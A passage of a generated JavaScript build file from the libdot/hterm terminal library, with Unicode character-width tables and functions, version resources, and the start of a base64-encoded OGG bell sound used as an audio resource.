lib.wc.ambiguous = [[0x00a1, 0x00a1], [0x00a4, 0x00a4], [0x00a7, 0x00a8], [0x00aa, 0x00aa], [0x00ad, 0x00ae], [0x00b0, 0x00b4], [0x00b6, 0x00ba], [0x00bc, 0x00bf], [0x00c6, 0x00c6], [0x00d0, 0x00d0], [0x00d7, 0x00d8], [0x00de, 0x00e1], [0x00e6, 0x00e6], [0x00e8, 0x00ea], [0x00ec, 0x00ed], [0x00f0, 0x00f0], [0x00f2, 0x00f3], [0x00f7, 0x00fa], [0x00fc, 0x00fc], [0x00fe, 0x00fe], [0x0101, 0x0101], [0x0111, 0x0111], [0x0113, 0x0113], [0x011b, 0x011b], [0x0126, 0x0127], [0x012b, 0x012b], [0x0131, 0x0133], [0x0138, 0x0138], [0x013f, 0x0142], [0x0144, 0x0144], [0x0148, 0x014b], [0x014d, 0x014d], [0x0152, 0x0153], [0x0166, 0x0167], [0x016b, 0x016b], [0x01ce, 0x01ce], [0x01d0, 0x01d0], [0x01d2, 0x01d2], [0x01d4, 0x01d4], [0x01d6, 0x01d6], [0x01d8, 0x01d8], [0x01da, 0x01da], [0x01dc, 0x01dc], [0x0251, 0x0251], [0x0261, 0x0261], [0x02c4, 0x02c4], [0x02c7, 0x02c7], [0x02c9, 0x02cb], [0x02cd, 0x02cd], [0x02d0, 0x02d0], [0x02d8, 0x02db], [0x02dd, 0x02dd], [0x02df, 0x02df], [0x0300, 0x036f], [0x0391, 0x03a1], [0x03a3, 0x03a9], [0x03b1, 0x03c1], [0x03c3, 0x03c9], [0x0401, 0x0401], [0x0410, 0x044f], [0x0451, 0x0451], [0x1100, 0x115f], [0x2010, 0x2010], [0x2013, 0x2016], [0x2018, 0x2019], [0x201c, 0x201d], [0x2020, 0x2022], [0x2024, 0x2027], [0x2030, 0x2030], [0x2032, 0x2033], [0x2035, 0x2035], [0x203b, 0x203b], [0x203e, 0x203e], [0x2074, 0x2074], [0x207f, 0x207f], [0x2081, 0x2084], [0x20ac, 0x20ac], [0x2103, 0x2103], [0x2105, 0x2105], [0x2109, 0x2109], [0x2113, 0x2113], [0x2116, 0x2116], [0x2121, 0x2122], [0x2126, 0x2126], [0x212b, 0x212b], [0x2153, 0x2154], [0x215b, 0x215e], [0x2160, 0x216b], [0x2170, 0x2179], [0x2189, 0x2189], [0x2190, 0x2199], [0x21b8, 0x21b9], [0x21d2, 0x21d2], [0x21d4, 0x21d4], [0x21e7, 0x21e7], [0x2200, 0x2200], [0x2202, 0x2203], [0x2207, 0x2208], [0x220b, 0x220b], [0x220f, 0x220f], [0x2211, 0x2211], [0x2215, 0x2215], [0x221a, 0x221a], [0x221d, 0x2220], [0x2223, 0x2223], [0x2225, 0x2225], [0x2227, 0x222c], [0x222e, 0x222e], [0x2234, 0x2237], [0x223c, 0x223d], [0x2248, 0x2248], [0x224c, 0x224c], [0x2252, 0x2252], [0x2260, 0x2261], [0x2264, 0x2267], [0x226a, 0x226b], [0x226e, 0x226f], [0x2282, 0x2283], [0x2286, 0x2287], [0x2295, 0x2295], [0x2299, 0x2299], [0x22a5, 0x22a5], [0x22bf, 0x22bf], [0x2312, 0x2312], [0x231a, 0x231b], [0x2329, 0x232a], [0x23e9, 0x23ec], [0x23f0, 0x23f0], [0x23f3, 0x23f3], [0x2460, 0x24e9], [0x24eb, 0x254b], [0x2550, 0x2573], [0x2580, 0x258f], [0x2592, 0x2595], [0x25a0, 0x25a1], [0x25a3, 0x25a9], [0x25b2, 0x25b3], [0x25b6, 0x25b7], [0x25bc, 0x25bd], [0x25c0, 0x25c1], [0x25c6, 0x25c8], [0x25cb, 0x25cb], [0x25ce, 0x25d1], [0x25e2, 0x25e5], [0x25ef, 0x25ef], [0x25fd, 0x25fe], [0x2605, 0x2606], [0x2609, 0x2609], [0x260e, 0x260f], [0x2614, 0x2615], [0x261c, 0x261c], [0x261e, 0x261e], [0x2640, 0x2640], [0x2642, 0x2642], [0x2648, 0x2653], [0x2660, 0x2661], [0x2663, 0x2665], [0x2667, 0x266a], [0x266c, 0x266d], [0x266f, 0x266f], [0x267f, 0x267f], [0x2693, 0x2693], [0x269e, 0x269f], [0x26a1, 0x26a1], [0x26aa, 0x26ab], [0x26bd, 0x26bf], [0x26c4, 0x26e1], [0x26e3, 0x26e3], [0x26e8, 0x26ff], [0x2705, 0x2705], [0x270a, 0x270b], [0x2728, 0x2728], [0x273d, 0x273d], [0x274c, 0x274c], [0x274e, 0x274e], [0x2753, 0x2755], [0x2757, 0x2757], [0x2776, 0x277f], [0x2795, 0x2797], [0x27b0, 0x27b0], [0x27bf, 0x27bf], [0x2b1b, 0x2b1c], [0x2b50, 0x2b50], [0x2b55, 0x2b59], [0x2e80, 0x2fdf], [0x2ff0, 0x303e], [0x3040, 0x4dbf], [0x4e00, 0xa4cf], [0xa960, 0xa97f], [0xac00, 0xd7a3], [0xe000, 0xfaff], [0xfe00, 0xfe19], [0xfe30, 0xfe6f], [0xff01, 0xff60], [0xffe0, 0xffe6], [0xfffd, 0xfffd], [0x16fe0, 0x16fe1], [0x17000, 0x18aff], [0x1b000, 0x1b12f], [0x1b170, 0x1b2ff], [0x1f004, 0x1f004], [0x1f0cf, 0x1f0cf], [0x1f100, 0x1f10a], [0x1f110, 0x1f12d], [0x1f130, 0x1f169], [0x1f170, 0x1f1ac], [0x1f200, 0x1f202], [0x1f210, 0x1f23b], [0x1f240, 0x1f248], [0x1f250, 0x1f251], [0x1f260, 0x1f265], [0x1f300, 0x1f320], [0x1f32d, 0x1f335], [0x1f337, 0x1f37c], [0x1f37e, 0x1f393], [0x1f3a0, 0x1f3ca], [0x1f3cf, 0x1f3d3], [0x1f3e0, 0x1f3f0], [0x1f3f4, 0x1f3f4], [0x1f3f8, 0x1f43e], [0x1f440, 0x1f440], [0x1f442, 0x1f4fc], [0x1f4ff, 0x1f53d], [0x1f54b, 0x1f54e], [0x1f550, 0x1f567], [0x1f57a, 0x1f57a], [0x1f595, 0x1f596], [0x1f5a4, 0x1f5a4], [0x1f5fb, 0x1f64f], [0x1f680, 0x1f6c5], [0x1f6cc, 0x1f6cc], [0x1f6d0, 0x1f6d2], [0x1f6eb, 0x1f6ec], [0x1f6f4, 0x1f6f9], [0x1f910, 0x1f93e], [0x1f940, 0x1f970], [0x1f973, 0x1f976], [0x1f97a, 0x1f97a], [0x1f97c, 0x1f9a2], [0x1f9b0, 0x1f9b9], [0x1f9c0, 0x1f9c2], [0x1f9d0, 0x1f9ff], [0x20000, 0x2fffd], [0x30000, 0x3fffd], [0xe0100, 0xe01ef], [0xf0000, 0xffffd], [0x100000, 0x10fffd]];// Sorted list of non-overlapping intervals of East Asian Unambiguous characters
// generated by the `./ranges.py` helper.
lib.wc.unambiguous = [[0x1100, 0x115f], [0x231a, 0x231b], [0x2329, 0x232a], [0x23e9, 0x23ec], [0x23f0, 0x23f0], [0x23f3, 0x23f3], [0x25fd, 0x25fe], [0x2614, 0x2615], [0x2648, 0x2653], [0x267f, 0x267f], [0x2693, 0x2693], [0x26a1, 0x26a1], [0x26aa, 0x26ab], [0x26bd, 0x26be], [0x26c4, 0x26c5], [0x26ce, 0x26ce], [0x26d4, 0x26d4], [0x26ea, 0x26ea], [0x26f2, 0x26f3], [0x26f5, 0x26f5], [0x26fa, 0x26fa], [0x26fd, 0x26fd], [0x2705, 0x2705], [0x270a, 0x270b], [0x2728, 0x2728], [0x274c, 0x274c], [0x274e, 0x274e], [0x2753, 0x2755], [0x2757, 0x2757], [0x2795, 0x2797], [0x27b0, 0x27b0], [0x27bf, 0x27bf], [0x2b1b, 0x2b1c], [0x2b50, 0x2b50], [0x2b55, 0x2b55], [0x2e80, 0x2fdf], [0x2ff0, 0x303e], [0x3040, 0x3247], [0x3250, 0x4dbf], [0x4e00, 0xa4cf], [0xa960, 0xa97f], [0xac00, 0xd7a3], [0xf900, 0xfaff], [0xfe10, 0xfe19], [0xfe30, 0xfe6f], [0xff01, 0xff60], [0xffe0, 0xffe6], [0x16fe0, 0x16fe1], [0x17000, 0x18aff], [0x1b000, 0x1b12f], [0x1b170, 0x1b2ff], [0x1f004, 0x1f004], [0x1f0cf, 0x1f0cf], [0x1f18e, 0x1f18e], [0x1f191, 0x1f19a], [0x1f200, 0x1f202], [0x1f210, 0x1f23b], [0x1f240, 0x1f248], [0x1f250, 0x1f251], [0x1f260, 0x1f265], [0x1f300, 0x1f320], [0x1f32d, 0x1f335], [0x1f337, 0x1f37c], [0x1f37e, 0x1f393], [0x1f3a0, 0x1f3ca], [0x1f3cf, 0x1f3d3], [0x1f3e0, 0x1f3f0], [0x1f3f4, 0x1f3f4], [0x1f3f8, 0x1f43e], [0x1f440, 0x1f440], [0x1f442, 0x1f4fc], [0x1f4ff, 0x1f53d], [0x1f54b, 0x1f54e], [0x1f550, 0x1f567], [0x1f57a, 0x1f57a], [0x1f595, 0x1f596], [0x1f5a4, 0x1f5a4], [0x1f5fb, 0x1f64f], [0x1f680, 0x1f6c5], [0x1f6cc, 0x1f6cc], [0x1f6d0, 0x1f6d2], [0x1f6eb, 0x1f6ec], [0x1f6f4, 0x1f6f9], [0x1f910, 0x1f93e], [0x1f940, 0x1f970], [0x1f973, 0x1f976], [0x1f97a, 0x1f97a], [0x1f97c, 0x1f9a2], [0x1f9b0, 0x1f9b9], [0x1f9c0, 0x1f9c2], [0x1f9d0, 0x1f9ff], [0x20000, 0x2fffd], [0x30000, 0x3fffd]];/**
* Binary search to check if the given unicode character is in the table.
*
* @param {integer} ucs A unicode character code.
* @param {Object} table A sorted list of internals to match against.
* @return {boolean} True if the given character is in the table.
*/lib.wc.binaryTableSearch_ = function (ucs, table) { var min = 0, max = table.length - 1; var mid; if (ucs < table[min][0] || ucs > table[max][1]) return false; while (max >= min) { mid = Math.floor((min + max) / 2); if (ucs > table[mid][1]) { min = mid + 1; } else if (ucs < table[mid][0]) { max = mid - 1; } else { return true; } } return false; };/**
* Binary search to check if the given unicode character is a space character.
*
* @param {integer} ucs A unicode character code.
*
* @return {boolean} True if the given character is a space character; false
*     otherwise.
*/lib.wc.isSpace = function (ucs) { return lib.wc.binaryTableSearch_(ucs, lib.wc.combining); };/**
* Auxiliary function for checking if the given unicode character is a East
* Asian Ambiguous character.
*
* @param {integer} ucs A unicode character code.
*
* @return {boolean} True if the given character is a East Asian Ambiguous
* character.
*/lib.wc.isCjkAmbiguous = function (ucs) { return lib.wc.binaryTableSearch_(ucs, lib.wc.ambiguous); };/**
* Determine the column width of the given character.
*
* @param {integer} ucs A unicode character code.
*
* @return {integer} The column width of the given character.
*/lib.wc.charWidth = function (ucs) { if (lib.wc.regardCjkAmbiguous) { return lib.wc.charWidthRegardAmbiguous(ucs); } else { return lib.wc.charWidthDisregardAmbiguous(ucs); } };/**
* Determine the column width of the given character without considering East
* Asian Ambiguous characters.
*
* @param {integer} ucs A unicode character code.
*
* @return {integer} The column width of the given character.
*/lib.wc.charWidthDisregardAmbiguous = function (ucs) {// Optimize for ASCII characters.
if (ucs < 0x7f) { if (ucs >= 0x20) return 1; else if (ucs == 0) return lib.wc.nulWidth; else/* if (ucs < 0x20) */return lib.wc.controlWidth; }// Test for 8-bit control characters.
if (ucs < 0xa0) return lib.wc.controlWidth;// Binary search in table of non-spacing characters.
if (lib.wc.isSpace(ucs)) return 0;// Binary search in table of wide characters.
return lib.wc.binaryTableSearch_(ucs, lib.wc.unambiguous) ? 2 : 1;
};/**
* Determine the column width of the given character considering East Asian
* Ambiguous characters.
*
* @param {integer} ucs A unicode character code.
*
* @return {integer} The column width of the given character.
*/lib.wc.charWidthRegardAmbiguous = function (ucs) { if (lib.wc.isCjkAmbiguous(ucs)) return lib.wc.cjkAmbiguousWidth; return lib.wc.charWidthDisregardAmbiguous(ucs); };/**
* Determine the column width of the given string.
*
* @param {string} str A string.
*
* @return {integer} The column width of the given string.
*/lib.wc.strWidth = function (str) { var width, rv = 0; for (var i = 0; i < str.length;) { var codePoint = str.codePointAt(i); width = lib.wc.charWidth(codePoint); if (width < 0) return -1; rv += width; i += codePoint <= 0xffff ? 1 : 2; } return rv; };/**
* Get the substring at the given column offset of the given column width.
*
* @param {string} str The string to get substring from.
* @param {integer} start The starting column offset to get substring.
* @param {integer} opt_width The column width of the substring.
*
* @return {string} The substring.
*/lib.wc.substr = function (str, start, opt_width) {
var startIndex = 0; var endIndex, width;// Fun edge case: Normally we associate zero width codepoints (like combining
// characters) with the previous codepoint, so we skip any leading ones while
// including trailing ones.  However, if there are zero width codepoints at
// the start of the string, and the substring starts at 0, lets include them
// in the result.  This also makes for a simple optimization for a common
// request.
if (start) { for (width = 0; startIndex < str.length;) { var codePoint = str.codePointAt(startIndex); width += lib.wc.charWidth(codePoint); if (width > start) break; startIndex += codePoint <= 0xffff ? 1 : 2; } } if (opt_width != undefined) { for (endIndex = startIndex, width = 0; endIndex < str.length;) { var _codePoint = str.codePointAt(endIndex); width += lib.wc.charWidth(_codePoint); if (width > opt_width) break; endIndex += _codePoint <= 0xffff ? 1 : 2; } return str.substring(startIndex, endIndex); } return str.substr(startIndex);
};/**
* Get substring at the given start and end column offset.
*
* @param {string} str The string to get substring from.
* @param {integer} start The starting column offset.
* @param {integer} end The ending column offset.
*
* @return {string} The substring.
*/lib.wc.substring = function (str, start, end) { return lib.wc.substr(str, start, end - start); }; lib.resource.add('libdot/changelog/version', 'text/plain', '1.22'); lib.resource.add('libdot/changelog/date', 'text/plain', '2018-06-20');// This file was generated by libdot/bin/concat.sh.
// It has been marked read-only for your safety.  Rather
// than edit it directly, please modify one of these source
// files...
//
//
lib.resource.add('hterm/audio/bell', 'audio/ogg;base64', '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' + 'zinmkFLKMeUcUko5p5xTzjkIHYTKMQadgxAppRxTzinHHITMQeWcg9BBKAAAIMABACDAQig0ZEUA' + 'ECcA4HAkz5M0SxQlSxNFzxRl1xNN15U0zTQ1UVRVyxNV1VRV2xZNVbYlTRNNTfRUVRNFVRVV05ZN' + 'VbVtzzRl2VRV3RZV1bZl2xZ+V5Z13zNNWRZV1dZNVbV115Z9X9ZtXZg0zTQ1UVRVTRRV1VRV2zZV' + '17Y1UXRVUVVlWVRVWXZlWfdVV9Z9SxRV1VNN2RVVVbZV2fVtVZZ94XRVXVdl2fdVWRZ+W9eF4fZ9' + '4RhV1dZN19V1VZZ9YdZlYbd13yhpmmlqoqiqmiiqqqmqtm2qrq1bouiqoqrKsmeqrqzKsq+rrmzr' + 'miiqrqiqsiyqqiyrsqz7qizrtqiquq3KsrCbrqvrtu8LwyzrunCqrq6rsuz7qizruq3rxnHrujB8' + 'pinLpqvquqm6um7runHMtm0co6rqvirLwrDKsu/rui+0dSFRVXXdlF3jV2VZ921fd55b94WybTu/' + 'rfvKceu60vg5z28cubZtHLNuG7+t+8bzKz9hOI6lZ5q2baqqrZuqq+uybivDrOtCUVV9XZVl3zdd' + 'WRdu3zeOW9eNoqrquirLvrDKsjHcxm8cuzAcXds2jlvXnbKtC31jyPcJz2vbxnH7OuP2daOvDAnH' + 'jwAAgAEHAIAAE8pAoSErAoA4AQAGIecUUxAqxSB0EFLqIKRUMQYhc05KxRyUUEpqIZTUKsYgVI5J' + 'yJyTEkpoKZTSUgehpVBKa6GU1lJrsabUYu0gpBZKaS2U0lpqqcbUWowRYxAy56RkzkkJpbQWSmkt' + 'c05K56CkDkJKpaQUS0otVsxJyaCj0kFIqaQSU0mptVBKa6WkFktKMbYUW24x1hxKaS2kEltJKcYU' + 'U20txpojxiBkzknJnJMSSmktlNJa5ZiUDkJKmYOSSkqtlZJSzJyT0kFIqYOOSkkptpJKTKGU1kpK' + 'sYVSWmwx1pxSbDWU0lpJKcaSSmwtxlpbTLV1EFoLpbQWSmmttVZraq3GUEprJaUYS0qxtRZrbjHm' + 'GkppraQSW0mpxRZbji3GmlNrNabWam4x5hpbbT3WmnNKrdbUUo0txppjbb3VmnvvIKQWSmktlNJi' + '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' + 